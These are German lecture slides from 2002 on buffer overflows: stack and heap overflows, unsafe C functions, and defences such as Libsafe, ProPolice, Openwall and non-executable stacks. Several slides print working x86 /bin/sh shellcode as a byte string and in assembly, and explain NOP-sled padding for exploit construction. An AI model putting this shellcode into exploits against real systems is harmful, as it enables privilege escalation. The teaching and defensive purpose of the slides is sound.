27
1 Buffer Overflow Markus Hennecke Thomas Richter 11.12.2002

1 Buffer Overflow Markus Hennecke Thomas Richter 11.12.2002

Embed Size (px)

Citation preview

Page 1: 1 Buffer Overflow Markus Hennecke Thomas Richter 11.12.2002

1

Buffer Overflow

Markus Hennecke

Thomas Richter

11.12.2002

Page 2: 1 Buffer Overflow Markus Hennecke Thomas Richter 11.12.2002

2Buffer Overflow Hennecke / Richter

Übersicht

Arten der Buffer Overflow Stack Overflow Heap Overflow

Programmierfehler und deren Vermeidung Unsichere C-Funktionen Sichere Funktionen am Beispiel strlcpy Möglichkeiten zur Vermeidung von

Programmierfehlern

Page 3: 1 Buffer Overflow Markus Hennecke Thomas Richter 11.12.2002

3Buffer Overflow Hennecke / Richter

Übersicht

Struktur eines Exploits Verhinderung von Buffer Overflow

Hinzulinken von Bibliotheken Sprachen wie ADA, JAVA, etc. Änderungen am C-Compiler Performanceänderung vs. Sicherheitsgewinn

Page 4: 1 Buffer Overflow Markus Hennecke Thomas Richter 11.12.2002

4Buffer Overflow Hennecke / Richter

Betriebssystemdesign Non-Executable Stack Unterstützung durch den Prozessor

Übersicht

Page 5: 1 Buffer Overflow Markus Hennecke Thomas Richter 11.12.2002

5Buffer Overflow Hennecke / Richter

Arten des Buffer Overflow Speicherorganisation moderner Rechner

Page 6: 1 Buffer Overflow Markus Hennecke Thomas Richter 11.12.2002

6Buffer Overflow Hennecke / Richter

Arten des Buffer OverflowStack Overflow Stack Overflow

Typischer Unterprogrammaufruf in C:

pushl $3pushl $2pushl $1call function

1. Argumente in umgekehrter Reihenfolge auf den Stack legen2. IP auf Stack legen und an Adresse von function springen

Page 7: 1 Buffer Overflow Markus Hennecke Thomas Richter 11.12.2002

7Buffer Overflow Hennecke / Richter

Arten des Buffer OverflowStack Overflow

Ausführen eines Unterprogramms:

1. Platz für Lokale Variablen schaffen (BP = SP; SP –= benötigte Größe)

2. Programmtext ausführen

3. Stackpointer anpassen

4. RET holt die Rücksprungadresse die das Hauptprogramm auf den Stack legte

Page 8: 1 Buffer Overflow Markus Hennecke Thomas Richter 11.12.2002

8Buffer Overflow Hennecke / Richter

Arten des Buffer OverflowStack Overflow

Organisation Lokaler Variablen:

Überschreiben von VariablenÜberschreiben der Rücksprungadresse

Durch überschreiben der Rücksprungadresse kann an eine beliebige Stelle im Speicher gesprungen werden!

Page 9: 1 Buffer Overflow Markus Hennecke Thomas Richter 11.12.2002

9Buffer Overflow Hennecke / Richter

Arten des Buffer OverflowHeap Overflow

• Heap – dyn. allozierter Speicher• wächst nach oben( lower Addr higher Addr)

Page 10: 1 Buffer Overflow Markus Hennecke Thomas Richter 11.12.2002

10Buffer Overflow Hennecke / Richter

Überschreiben der Speichergrenze Lösung: Einfügen von canary-values (Stackguard)

Überschreiben von Function Pointern Einfügen eigenen Shellcodes Adresse einer bestimmten Funktion nutzen

Nutzung der PLT (Procedur Linking Table)

Arten des Buffer OverflowHeap Overflow

Page 11: 1 Buffer Overflow Markus Hennecke Thomas Richter 11.12.2002

11Buffer Overflow Hennecke / Richter

Programmierfehler und ihre Vermeidung unsichere C-Funktionen

Page 12: 1 Buffer Overflow Markus Hennecke Thomas Richter 11.12.2002

12Buffer Overflow Hennecke / Richter

Programmierfehler und ihre Vermeidungstrlcpy und strlcat

größenbegrenztes Stringkopieren Stringabschluß mit „\0“ in Stringgröße

einplanen strlcpy kopiert zeichenweise src dst strlcpy gibt total length von src zurück

Page 13: 1 Buffer Overflow Markus Hennecke Thomas Richter 11.12.2002

13Buffer Overflow Hennecke / Richter

Struktur eines Exploits

Konstruktion des Exploits:

1. Erstellen des benötigten Codes2. Optimieren des Exploits und Anpassung das System3. Konstruktion des überlangen Strings

Beispiel für Shell-Code:

char shellcode[] = “\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b“

“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd““\x80\xe8\xdc\xff\xff\xff/bin/sh“;

Page 14: 1 Buffer Overflow Markus Hennecke Thomas Richter 11.12.2002

14Buffer Overflow Hennecke / Richter

Struktur eines ExploitsGenerierung des Codes

#include <unistd.h>

void main()

{

char *name[2];

name[0] = "/bin/sh";

name[1] = NULL;

execve(name[0], name, NULL);

}

jmp 0x2a popl %esi movl %esi,0x8(%esi) movb $0x0,0x7(%esi) movl $0x0,0xc(%esi) movl $0xb,%eax movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 call -0x2f.string \"/bin/sh\"

1. Adresse des Strings unbekannt

2. Null Bytes im Exploit Code

3. Begrenzter Platz für Buffer Overflow

Page 15: 1 Buffer Overflow Markus Hennecke Thomas Richter 11.12.2002

15Buffer Overflow Hennecke / Richter

Struktur eines ExploitsOptimieren des Exploits

jmp 0x1f

popl %esi

movl %esi,0x8(%esi)

xorl %eax,%eax

movb %eax,0x7(%esi)

movl %eax,0xc(%esi)

movb $0xb,%al

movl %esi,%ebx

leal 0x8(%esi),%ecx

leal 0xc(%esi),%edx

int $0x80

xorl %ebx,%ebx

movl %ebx,%eax

inc %eax

int $0x80

call -0x24

.string \"/bin/sh\"

Problem: Finden der Adresse des Exploit-CodesLösung: Puffer mit NOP Befehlen auffüllen Ungefähre Einsprung-adresse

Page 16: 1 Buffer Overflow Markus Hennecke Thomas Richter 11.12.2002

16Buffer Overflow Hennecke / Richter

Struktur eines ExploitsFazit

Vorgestellter Lösungsansatz nur für Local Root Exploits

Komplizierter Aufbau bei Remote-Exploits (Verbiegen von stdin / stdout Interaktive Shell )

Manchmal ungünstige Verhältnisse Probleme mit der Stackgröße Überschriebene Variablen

Page 17: 1 Buffer Overflow Markus Hennecke Thomas Richter 11.12.2002

17Buffer Overflow Hennecke / Richter

Verhindern von Buffer Overflow durch EntwicklungswerkzeugeLibsafe

Erweiterung der libc Schlüsselidee: Puffergröße automatisch

absichern Prüfung Speichergröße bei C-Programmen

kritischer Punkt Libsafe Festlegung d. MaxBufferSize Ersetzung unsicherer C-Funktionen

Page 18: 1 Buffer Overflow Markus Hennecke Thomas Richter 11.12.2002

18Buffer Overflow Hennecke / Richter

Verhindern von Buffer Overflow durch Entwicklungswerkzeuge

Programmiersprachen die auf Pufferüberläufe achten

Laufzeitumgebungen wie JAVA oder Perl (Solange der Interpreter fehlerfrei ist) Runtime-Checks wie in ADA, Pascal, etc. Geschwindigkeitseinbußen gegenüber üblichen

C-Compilern

Page 19: 1 Buffer Overflow Markus Hennecke Thomas Richter 11.12.2002

19Buffer Overflow Hennecke / Richter

Verhindern von Buffer Overflow durch EntwicklungswerkzeugeStack-Smashing Protection ProPolice Stack-Smashing Protector für den GCC

(Version 2.95.3 und 3.2) Implementierung von Buffer Overflow Detection

von Hiroaki Etoh (IBM Research Labs) Grundidee StackGuard Geringerer Leistungsverlust als andere Lösungen

Page 20: 1 Buffer Overflow Markus Hennecke Thomas Richter 11.12.2002

20Buffer Overflow Hennecke / Richter

Verhindern von Buffer Overflow durch EntwicklungswerkzeugeVerfügbarkeit

Processor GCC-2.95.3 GCC-3.2

Intel x86 bootstrapped & checked bootstrapped & checked

powerpc bootstrapped & checked bootstrapped & checked

sparc bootstrapped & checked not tested

VAX bootstrapped not tested

mips bootstrapped not tested

Motolora 68k

bootstrapped & checked not tested

alpha bootstrapped not tested

sparc64 bootstrapped not tested

Page 21: 1 Buffer Overflow Markus Hennecke Thomas Richter 11.12.2002

21Buffer Overflow Hennecke / Richter

Verhindern von Buffer Overflow durch EntwicklungswerkzeugeAusführungszeiten

Page 22: 1 Buffer Overflow Markus Hennecke Thomas Richter 11.12.2002

22Buffer Overflow Hennecke / Richter

Verhindern von Buffer Overflow durch EntwicklungswerkzeugeAusführungszeiten

Page 23: 1 Buffer Overflow Markus Hennecke Thomas Richter 11.12.2002

23Buffer Overflow Hennecke / Richter

Open Wall Project Linux Kernel Patch Sammlung sicherheitsrelevanter Features Non – Executable - Stack Restricted Links in /temp Restricted FIFO‘s in /temp Restricted /proc Special Handling of fd 0, 1 und 2 Einschränkung RLIMIT_NPROC

BetriebssystemdesignLinux

Page 24: 1 Buffer Overflow Markus Hennecke Thomas Richter 11.12.2002

24Buffer Overflow Hennecke / Richter

Einschränkung Speichergröße je Prozess Privilegierte IP-Aliases

Problem Webhoster mit Shell/CGI- Access

BetriebssystemdesignLinux

Page 25: 1 Buffer Overflow Markus Hennecke Thomas Richter 11.12.2002

25Buffer Overflow Hennecke / Richter

BetriebssystemdesignProzessoreigenschaften

Unterstützung durch den Prozessor bzw die MMU

Stackseiten werden als Non-Executable markiert

Code-Seiten sind als nicht Veränderbar markiert

Heap sollte auch Non-Executable sein, Limitierungen in aktuellen Prozessoren

Page 26: 1 Buffer Overflow Markus Hennecke Thomas Richter 11.12.2002

26Buffer Overflow Hennecke / Richter

BetriebssystemdesignProzessoreigenschaften

Umgehung von Non-Executable Beschränkungen durch Sprünge in legale Code Bereiche möglich

Erschwerung der Entwicklung eines sinnvollen Exploits

Sicherheitsprobleme bei GUI-Implementierung im OS

Page 27: 1 Buffer Overflow Markus Hennecke Thomas Richter 11.12.2002

27Buffer Overflow Hennecke / Richter

Quellen http://www.kes.info/_archiv/_onlinearch/01-05-6-overflow.htm http://www.insecure.org/stf/smashstack.txt http://www.heise.de/ct/01/23/216/ http://www.w00w00.org/files/articles/heaptut.txt http://www.openwall.org/ http://www.avayalabs.com/project/libsafe/doc/whitepaper-20.pdf http://www.avayalabs.com/project/libsafe/doc/libsafe.pdf A Buffer Overflow Study - Attacks & Defenses by Pierre-Alain

FAYOLLE, Vincent GLAUME